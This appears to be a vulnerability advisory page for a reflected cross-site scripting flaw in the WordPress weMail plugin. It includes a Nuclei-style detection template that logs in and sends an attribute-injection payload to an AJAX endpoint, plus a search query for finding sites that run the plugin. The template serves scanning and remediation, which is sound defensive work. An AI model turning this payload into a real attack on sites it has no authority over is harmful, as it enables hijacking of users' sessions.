CVE-2026-8089: WordPress weMail < 2.1.3 - Cross-Site Scripting

2026-10-15 PoC Public

Description

The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.

Details

CVE
CVE-2026-8089 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-8089

info:
  name: WordPress weMail < 2.1.3 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.
  impact: |
    Successful exploitation requires logged-in users to click a malicious link, but allows unauthenticated attackers to execute arbitrary scripts or change web page contents on authenticated user sessions.
  remediation: |
    Upgrade to weMail version 2.1.3 or later.
  reference:
    - https://wpscan.com/vulnerability/f00c1853-a4b2-4e91-99b3-fed8acbe6da7/
    - https://wordpress.org/plugins/wemail/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-8089
    epss-score: 0.00282
    epss-percentile: 0.19151
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: weDevs
    product: weMail
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wemail/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wemail,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=wemail_preview&form_id=x%22%20onmouseover%3D%22alert(document.domain)%22%20zz%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "onmouseover=\"alert(document.domain)\"", "preview-wemail-form")'
          - 'regex("(?i)text/html", content_type)'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022006ad2adc41e54ad3770404b168f9bf364e088b9f0bbec348b5e5fa819e50d900022005c354652758e44b9e5261bbdb408b0652c5a77a46bed3e59473031b11936e19:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life